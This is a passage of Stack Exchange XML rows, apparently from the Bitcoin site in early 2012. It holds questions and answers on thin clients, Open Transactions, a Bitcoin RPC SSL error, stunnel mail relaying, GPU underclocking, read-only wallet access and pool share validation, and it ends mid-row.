  <row Id="2703" PostTypeId="2" ParentId="2684" CreationDate="2012-01-24T00:16:12.120" Score="14" Body="&lt;p&gt;The short answer to your question is &quot;no&quot;. The reason is actually pretty simple: Without the entire block chain, there is no way to know that funds that are claimed to have been sent to you weren't actually sent to someone else. There is no way to prove the absence of a conflicting transaction, other than to check &lt;em&gt;every&lt;/em&gt; valid transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a bank, the bank clears your checks for you. Here, you clear your own checks. Without knowing every check an account has received or sent out, how can you know the account has sufficient balance to cover your check?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you don't have to run the Bitcoin client. Your alternative is trust someone else with your coins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-01-24T00:16:12.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2704" PostTypeId="2" ParentId="2161" CreationDate="2012-01-24T00:43:52.300" Score="3" Body="&lt;p&gt;More methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://leo.bogert.de/2012/02/22/simple-bitcoin-donate-button&quot; rel=&quot;nofollow&quot;&gt;http://leo.bogert.de/2012/02/22/simple-bitcoin-donate-button&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ecdsa.org:8080/widgets&quot; rel=&quot;nofollow&quot;&gt;http://ecdsa.org:8080/widgets&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinate.org&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinate.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-02-23T17:20:49.410" LastActivityDate="2012-02-23T17:20:49.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2705" PostTypeId="2" ParentId="2682" CreationDate="2012-01-24T00:54:42.843" Score="0" Body="&lt;p&gt;As mentioned in &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0016&quot; rel=&quot;nofollow&quot;&gt;BIP 0016&lt;/a&gt;, voting will take place at the end of januari 2012. votes you see now (januari 24th) are from pools who have already upgraded their software to vote either for or against. There are some pools who have said they will upgrade, but haven't done so yet.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-01-24T00:54:42.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2706" PostTypeId="2" ParentId="2684" CreationDate="2012-01-24T00:59:03.440" Score="8" Body="&lt;p&gt;Bitcoin is a new approach to security of money, offering nigh-full transparency. You can &quot;audit&quot; any account and see what transactions were performed without a problem. With traditional models, like Paypal or the banks, you can't do that. As Bitcoin is P2P, it needs to have all the data to be able to validate all of it. This way no single entity can take the whole network down, or freeze anyone's account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are works done, however, on a set of servers forming &lt;a href=&quot;https://bitcointalk.org/index.php?topic=55842.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stratum overlay network protocol&lt;/a&gt; that will be handling almost all of data handling for very thin clients. In this model one would not need to download or validate the entire blockchain, but some people see this as giving up their security (this issue is addressed and debunked &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2613/how-secure-are-various-models-of-bitcoin-clients&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third option is thin clients that validate all the data, but prune older blocks that they don't need themselves. This approach would save hard drive space, but not the initial validation time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, if all Bitcoin data was stored on a single website, the system would be vulnerable to being taken down and trust would be centralized. With the standard client, one need not trust any single individual, so security is greater. There are are other solutions being developed that will be something in-between the two.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2012-02-07T10:02:50.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2707" PostTypeId="1" AcceptedAnswerId="2733" CreationDate="2012-01-24T03:58:23.397" Score="2" ViewCount="1297" Body="&lt;p&gt;I recently tried running Bitcoin-QT as a server with SSL enabled, but when I was testing the connection, with this &lt;a href=&quot;https://en.bitcoin.it/wiki/Enabling_SSL_on_original_client_daemon&quot; rel=&quot;nofollow&quot;&gt;command&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl s_client -connect 111.11.111.111:8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CONNECTED(00000003)&#xA;4308:error:140790E5:SSL routines:SSL23_WRITE:ssl handshake failure:/SourceCache/OpenSSL098/OpenSSL098-35.1/src/ssl/s23_lib.c:182:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea what is causing this problem and how should I go about fixing it?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-07-07T15:54:14.560" Title="Bitcoin RPC SSL error" Tags="|bitcoin-core|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2708" PostTypeId="1" AcceptedAnswerId="2710" CreationDate="2012-01-24T05:48:38.900" Score="11" ViewCount="3284" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/FellowTraveler/Open-Transactions/wiki&quot;&gt;OT&lt;/a&gt; is &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/ot6yz/were_working_on_integrating_multibit_with_the/&quot;&gt;being integrated&lt;/a&gt; into the Multibit client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can such integration benefit users? What are some things it enables?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2012-01-27T09:49:00.027" LastActivityDate="2014-10-25T16:32:36.707" Title="How can Open Transactions benefit Bitcoin?" Tags="|client|open-transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2709" PostTypeId="1" AcceptedAnswerId="2714" CreationDate="2012-01-24T10:04:55.763" Score="3" ViewCount="2501" Body="&lt;p&gt;The file bitcoind.pid is mentioned on &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;&quot;Running Bitcoin&quot; wiki page&lt;/a&gt;, but it's not explained on the wiki. What does that file do?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-24T13:14:53.270" Title="What is bitcoind.pid?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2710" PostTypeId="2" ParentId="2708" CreationDate="2012-01-24T10:28:51.620" Score="16" Body="&lt;p&gt;&lt;strong&gt;Market exchange&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OT includes bid/ask markets, allowing for trade between assets. And unlike most exchanges, the voting pools feature makes it impossible for the server to steal the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Untraceable transactions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OT incorporates &lt;a href=&quot;http://en.wikipedia.org/wiki/Blind_signature&quot; rel=&quot;nofollow&quot;&gt;Chaumian blinding&lt;/a&gt; (untraceable cash), meaning it can provide anonymity and untraceability, similar to what the Bitcoin community strives for with existing mix services. (Bitcoin by itself is publicly-audit-able, which is a strength, but is also the opposite of untraceable. Its benefit is censorship-resistance, not untraceability, which can be added separately using OT.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Instant settlement&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OT has instant finality of settlement (instead of waiting 10 minutes to an hour for a transaction to clear.) This can be useful where merchants and and shopping carts are involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Micro-transactions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Micro-transactions will be more feasible on transaction servers than they would be on the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cash streaming protocols&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cash streaming protocols, in general, should become more prevalent and help to solve issues of resource allocation on mesh networks, anonymous networks, etc. &lt;a href=&quot;http://en.wikipedia.org/wiki/Tahoe_Least-Authority_Filesystem&quot; rel=&quot;nofollow&quot;&gt;Virtual Tahoe LAFS&lt;/a&gt; hosting and so on will eventually become more available, whether via OT or some similar system. (This would help protect the lives of Syrian bloggers murdered by snipers, and the lives of Chinese bloggers unjustly imprisoned to decades+ of hard labor--and to protect the anonymity of Mexicans who otherwise risk being disemboweled and strung from a bridge when following a &quot;Real Names&quot; policy.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Operates securely on low-trust servers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OT cannot lie on your receipt. It cannot change your balance or forge any of your transactions. (Bitcoin also is like this, but it's still worth mentioning.) Combined with an auditing protocol, this makes it possible to run low-trust servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No transaction history&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On OT, unlike most other systems, and unlike the blockchain, you will be able to prove which instruments are valid, and which transactions are cleared, without storing any transaction history, as long as you keep your last signed receipt. This is useful to all parties, and also reduces the cost of running a transaction server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Full range of financial instruments&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OT supports a full gamut of financial instruments, including cheques, transfers, cash, cashier's cheques, receipts, recurring payments, market offers and trades, and smart contracts (scriptable clauses - write your own.) You will have to decide for yourself how to best use these capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use OT to write a market exchange, or online wallet or personal wallet. (Of course these exist already, but I'm just saying...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Smart contracts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OT makes it possible to create custom-scripted agreements between parties, to be executed on the server side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use OT to offer &lt;strong&gt;escrow services&lt;/strong&gt;. You could devise your own escrow contract in script form, and then OT will process it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Client-side scripting&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OT also supports client-side scripting, meaning that people can combine &quot;Unix scripting&quot; with &quot;financial transactions&quot;. The possibilities are endless, but that part is really up to the developer community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use OT to build a digital ticketing system, printing out tickets with QR codes or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In-game representations of real-world financial environments&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use OT to build a full financial transaction system into an online game or virtual universe. (Gold duplication can get to be a real issue on games.) People on the game would be able to open accounts, withdraw and deposit cash, write cheques, trade on markets, just like people in real life. People would even be able to issue their own currencies, and trade in basket currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Protection against online wallet fraud&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point OT will support Bitcoin voting pools, meaning it would be impossible for any single server to just disappear with your Bitcoins. (A problem currently endemic to the Bitcoin world.) This will be a protocol between OT servers based on existing features in the Bitcoin script language (like multi-sign.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This capability goes beyond mere auditing or proof-of-reserves, since it actually prevents a server--or a malicious employee, or a hacker--from stealing the coins.&lt;/p&gt;&#xA;" OwnerUserId="309" LastEditorUserId="309" LastEditDate="2014-10-25T16:32:36.707" LastActivityDate="2014-10-25T16:32:36.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2711" PostTypeId="2" ParentId="2225" CreationDate="2012-01-24T11:00:36.390" Score="1" Body="&lt;p&gt;&lt;strong&gt;Stick with Google and use STunnel to avoid TLS&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is a useful article describing how to get this to work here: &lt;a href=&quot;https://groups.google.com/a/googleproductforums.com/forum/#!category-topic/apps/mail-settings/oCwPE2o_oCM&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://groups.google.com/a/googleproductforums.com/forum/#!category-topic/apps/mail-settings/oCwPE2o_oCM&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The relevant excerpts are:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can use STunnel to allow non-SSL devices to connect.  STunnel&#xA;should be run on a computer on your network that is up 24/7.  The&#xA;network printers will connect to STunnel using non-SSL SMTP then&#xA;STunnel will bridge the connection to Google Apps using an SSL&#xA;connection.  STunnel can be downloaded at:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.stunnel.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.stunnel.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Your stunnel.conf file should look like:&lt;/p&gt;&#xA;&lt;p&gt;-- begin stunnel.conf --&lt;/p&gt;&#xA;&lt;p&gt;cert = stunnel.pem&lt;/p&gt;&#xA;&lt;p&gt;socket = l:TCP_NODELAY=1&lt;/p&gt;&#xA;&lt;p&gt;socket = r:TCP_NODELAY=1&lt;/p&gt;&#xA;&lt;p&gt;client = yes&lt;/p&gt;&#xA;&lt;p&gt;[pop3s]&lt;/p&gt;&#xA;&lt;p&gt;accept  = 110&lt;/p&gt;&#xA;&lt;p&gt;connect = pop.gmail.com:995&lt;/p&gt;&#xA;&lt;p&gt;[imaps]&lt;/p&gt;&#xA;&lt;p&gt;accept  = 143&lt;/p&gt;&#xA;&lt;p&gt;connect = imap.gmail.com:993&lt;/p&gt;&#xA;&lt;p&gt;[ssmtp]&lt;/p&gt;&#xA;&lt;p&gt;accept  = 25&lt;/p&gt;&#xA;&lt;p&gt;connect = smtp.gmail.com:465&lt;/p&gt;&#xA;&lt;p&gt;-- end stunnel.conf --&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's worth reading around the rest of the information on the site&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;I tried STunnel and failed! What now?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Try using the sneaky printer backdoor to Google's SMTP servers that avoids SSL. Instructions are here: &lt;a href=&quot;http://support.google.com/a/bin/answer.py?hl=en&amp;amp;hlrm=en&amp;amp;answer=176600&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://support.google.com/a/bin/answer.py?hl=en&amp;amp;hlrm=en&amp;amp;answer=176600&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Relevant info is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If your device does not support SSL, connect to aspmx.l.google.com on port 25.&lt;/p&gt;&#xA;&lt;p&gt;You must configure an SPF record for your domain with the IP address&#xA;of the device to ensure that recipients do not reject mail sent from&#xA;it. You must also add this IP address to the Email Whitelist box in&#xA;your Google Apps control panel.&lt;/p&gt;&#xA;&lt;p&gt;For example. if your sending device&#xA;sends from 123.45.67.89, add that address to your SPF record without&#xA;removing the Google Apps mail servers from the record: v=spf1&#xA;ip4:123.45.67.89 include:_spf.google.com ~all&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="117" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-01-24T11:00:36.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2712" PostTypeId="1" AcceptedAnswerId="2725" CreationDate="2012-01-24T11:12:53.437" Score="4" ViewCount="1510" Body="&lt;p&gt;Is there a trusted thin client list somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched one for &lt;strong&gt;OSX&lt;/strong&gt; and one for &lt;strong&gt;Android&lt;/strong&gt; and I found next to nothing. That is: nothing at all for OSX, and only a source-only on github for Android (which I don't know how trustable is anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I understand &quot;trusted&quot; might mean anything, so let's just keep to &quot;&lt;em&gt;you&lt;/em&gt; trust it&quot;. That is, list it only if you actually use it at the very least)&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="5406" LastEditDate="2014-09-03T11:34:38.917" LastActivityDate="2014-09-03T11:34:38.917" Title="Thin client list" Tags="|thin-clients|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2713" PostTypeId="1" AcceptedAnswerId="2717" CreationDate="2012-01-24T12:00:29.840" Score="2" ViewCount="308" Body="&lt;p&gt;FellowTraveller &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2710/78&quot;&gt;claimed here&lt;/a&gt; that :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;OT cannot lie on your receipt. It cannot change your balance or forge&#xA;  any of your transactions. (Bitcoin also is like this, but it's still&#xA;  worth mentioning.) Combined with an auditing protocol, this makes it&#xA;  possible to run low-trust servers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can anyone elaborate on this? What prevents the operator of an OT server from changing balances and forging transactions?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-01-28T09:32:20.410" Title="Why &quot;Open Transactions cannot lie on your receipt&quot;?" Tags="|open-transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2714" PostTypeId="2" ParentId="2709" CreationDate="2012-01-24T13:14:53.270" Score="6" Body="&lt;p&gt;Isn't it the file containing (the current running instance of) bitcoin's pid,&lt;/p&gt;&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Process_identifier#Pidfile&quot; rel=&quot;noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Process_identifier#Pidfile&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2012-01-24T13:14:53.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2715" PostTypeId="2" ParentId="1161" CreationDate="2012-01-24T13:47:58.237" Score="-3" Body="&lt;p&gt;This far the bitcoins are so called send and my btc shows 0.00 in wallet&#xA;I did several deletes of the whole thing but the btc is not restored or in being send at all&#xA;I left it open about 4 hours after it downloaded but nothing changes the -3.7737 btc keeps showing on the right side&#xA;i did 2x bitcoind -rescan before but the download of the chain takes a long time as well&#xA;even the given stransaction id i could not find in the list&#xA;i redeleted the files now again but untill now nothing has changed&lt;/p&gt;&#xA;" OwnerUserId="977" LastActivityDate="2012-01-24T13:47:58.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2716" PostTypeId="1" AcceptedAnswerId="3327" CreationDate="2012-01-24T15:14:57.893" Score="3" ViewCount="3818" Body="&lt;p&gt;I'd like to try underclocking my GPU Memory. Based on what I've read, this is frequently done to reduce heat without sacrificing hashrate, and can sometimes even boost the hashrate if done carefully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seems that those running on Windows have a tool called &quot;Afterburner&quot; that allows them to over/underclock beyond the manufacturer's recommended limits, &lt;em&gt;without&lt;/em&gt; flashing their BIOS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, under Linux, &lt;code&gt;aticonfig --odsc=XXX,YYY&lt;/code&gt; won't allow setting the memory clock any lower than the range displayed by &lt;code&gt;aticonfig --odgc&lt;/code&gt;.  Other tools I've investigated, such as &lt;em&gt;AMDOverdriveCtrl&lt;/em&gt;, appear to just be front-ends for &lt;code&gt;aticonfig&lt;/code&gt;, and therefore limited to what it can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen some mentions that flashing on a new third party BIOS rectifies this, but that makes me more than a little nervous, so I would prefer to avoid that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would someone please explain, either...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) How to underclock the memory on ATI GPUs (6850 and 6950, specifically) on Linux beyond the manufacturer's recommended limits, without flashing the BIOS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... or ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) How it's possible for tools running on Windows to have more control over the hardware than those running on linux. (This feels like a slap in the face to me.)&lt;/p&gt;&#xA;" OwnerUserId="843" LastEditorUserId="843" LastEditDate="2012-01-24T15:30:24.793" LastActivityDate="2012-06-28T13:37:36.510" Title="Underclock GPU Memory below &quot;Recommended&quot; Limits on Linux" Tags="|linux|gpu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2717" PostTypeId="2" ParentId="2713" CreationDate="2012-01-24T15:18:10.430" Score="4" Body="&lt;p&gt;It is not possible for the OT server to forge your signature because you retain the private key. Sure, it could issue fakes but anyone actually checking the signature would immediately see that it is incorrect and reject the transaction.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-01-24T15:18:10.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2718" PostTypeId="5" CreationDate="2012-01-24T15:18:49.073" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-01-24T15:18:49.073" LastActivityDate="2012-01-24T15:18:49.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2719" PostTypeId="4" CreationDate="2012-01-24T15:18:49.073" Score="0" Body="The practice of modifying a synchronous circuit's timing settings to run at a lower clock rate than it was specified to operate at. In regards to Bitcoin, this is usually used in reference to GPU memory for the purpose of reducing heat/power consumption." OwnerUserId="843" LastEditorUserId="843" LastEditDate="2012-01-24T15:48:23.940" LastActivityDate="2012-01-24T15:48:23.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2720" PostTypeId="5" CreationDate="2012-01-24T15:21:51.063" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-01-24T15:21:51.063" LastActivityDate="2012-01-24T15:21:51.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2721" PostTypeId="4" CreationDate="2012-01-24T15:21:51.063" Score="0" Body="Refers to computer components that retain digital data. In regards to Bitcoin, this is usually in reference to RAM on the motherboard or GPU's." OwnerUserId="843" LastEditorUserId="843" LastEditDate="2012-01-24T15:48:20.820" LastActivityDate="2012-01-24T15:48:20.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2722" PostTypeId="5" CreationDate="2012-01-24T15:23:37.677" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-01-24T15:23:37.677" LastActivityDate="2012-01-24T15:23:37.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2723" PostTypeId="4" CreationDate="2012-01-24T15:23:37.677" Score="0" Body="Refers to 'ATI Technologies', a graphics hardware manufacturer." OwnerUserId="843" LastEditorUserId="843" LastEditDate="2012-01-24T15:48:16.733" LastActivityDate="2012-01-24T15:48:16.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2724" PostTypeId="1" AcceptedAnswerId="2726" CreationDate="2012-01-24T16:11:45.717" Score="5" ViewCount="997" Body="&lt;p&gt;Is it possible to give a public read only access to a Bitcoin account using the Bitcoin client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if for an non-profit organisation it can be useful to have read only access to it's Bitcoin account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it is possible to make an web-service that is displaying this kind of data, but this requires a third part authority.&lt;/p&gt;&#xA;" OwnerUserId="978" LastEditorUserId="105" LastEditDate="2012-02-03T09:36:34.737" LastActivityDate="2012-02-03T09:36:34.737" Title="Is it possible to give a public read only access to a Bitcoin account?" Tags="|bitcoin-core|websites|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2725" PostTypeId="2" ParentId="2712" CreationDate="2012-01-24T16:14:22.157" Score="4" Body="&lt;p&gt;Currently, there is one light client that works on a Mac - &lt;a href=&quot;http://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt;. This client seems to be around for awhile and is open-source, so should be trustworthy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There a couple wallets working on Android, like &lt;a href=&quot;https://market.android.com/details?id=de.schildbach.wallet&amp;amp;feature=search_result#?t=W251bGwsMSwxLDEsImRlLnNjaGlsZGJhY2gud2FsbGV0Il0.&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet&lt;/a&gt; and &lt;a href=&quot;https://market.android.com/details?id=com.bitcoinandroid&amp;amp;feature=search_result#?t=W251bGwsMSwxLDEsImNvbS5iaXRjb2luYW5kcm9pZCJd&quot; rel=&quot;nofollow&quot;&gt;Bitcoin&lt;/a&gt;. Personally, can't say much about trustworthiness of either, asides the fact that some high-reputation people on the forum seem to be &lt;a href=&quot;https://bitcointalk.org/index.php?topic=26959.0&quot; rel=&quot;nofollow&quot;&gt;promoting it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can try using &lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aEWallets&quot; rel=&quot;nofollow&quot;&gt;eWallets&lt;/a&gt;, as they can be accessed on any device.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-02-24T23:55:44.563" LastActivityDate="2012-02-24T23:55:44.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2726" PostTypeId="2" ParentId="2724" CreationDate="2012-01-24T16:34:15.977" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;If you want the person to see the balance of each address, give them an encrypted wallet used by you. This way they can see any transaction coming in, but they won't be able to spend anything. However, this requires them to run a Bitcoin client themselves, which can be a pain at times.&lt;/li&gt;&#xA;&lt;li&gt;Use the Block Explorer and search for the single address you will be using. Case in point - all donations made to Wikileaks - &lt;a href=&quot;http://blockexplorer.com/address/1HB5XMLmzFVj8ALj6mfBsbifRoD4miY36v&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/address/1HB5XMLmzFVj8ALj6mfBsbifRoD4miY36v&lt;/a&gt; (warning, this page can load for awhile).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-24T16:34:15.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2727" PostTypeId="2" ParentId="1161" CreationDate="2012-01-24T17:50:08.567" Score="2" Body="&lt;p&gt;You can search for your transaction hash on &lt;a href=&quot;http://blockchain.info/rejected&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/rejected&lt;/a&gt;. It will say if your transaction hash did not meet the minimum fees or my client could not connect it's inputs.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-01-24T17:50:08.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2728" PostTypeId="1" CreationDate="2012-01-24T17:52:04.513" Score="9" ViewCount="1596" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=8989.msg130821#msg130821&quot;&gt;this comment&lt;/a&gt;, the debug.log file in the Bitcoin application data directory should be truncated on startup if it is bigger than 10MB. I'm running Bitcoin 0.5.2 on Windows 7 and it does no such thing - the file keeps increasing in size even after restarts, and it is already over 1GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it not truncated? Is it safe to stop Bitcoin and truncate the file manually, or delete it completely?&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-01-25T05:36:15.123" LastActivityDate="2012-01-26T19:48:00.537" Title="debug.log file size" Tags="|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2729" PostTypeId="1" AcceptedAnswerId="2735" CreationDate="2012-01-24T18:07:01.747" Score="4" ViewCount="236" Body="&lt;p&gt;The standard client only allows one to spend coins from a transaction after getting 6 confirmations (120 in case of mining rewards). Can one send bitcoind a JSON-RPC command telling it to send those unconfirmed coins before they gather enough confirmations, so the transactions would be executed once those confirmations appear (essentially telling it &quot;once you get enough confirmations, send my coins to X&quot;)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-24T20:01:50.533" Title="Can one send bitcoind transactions that will only be valid after a certain amount of time?" Tags="|transactions|bitcoin-core|bitcoind|confirmations|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2730" PostTypeId="2" ParentId="2679" CreationDate="2012-01-24T18:44:01.837" Score="1" Body="&lt;p&gt;When miners submit a proof of work to a pool, you will first want to check that the proof of work is valid. The proof of work consists only of a bitcoin block header. You need to check that each part is valid. You can see the layout of a bitcoin block header at &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the version should be the same that bitcoind gave you earlier when you created this work&lt;/li&gt;&#xA;&lt;li&gt;the parent (previous) hash should be the hash of the block you are trying to build upon (you get this also from bitcoind when you create work)&lt;/li&gt;&#xA;&lt;li&gt;the merkleroot should be the merkleroot for one of the merkle trees you have built (if you build the block data yourself), or a merkleroot you got from bitcoind (if you let bitcoind construct the 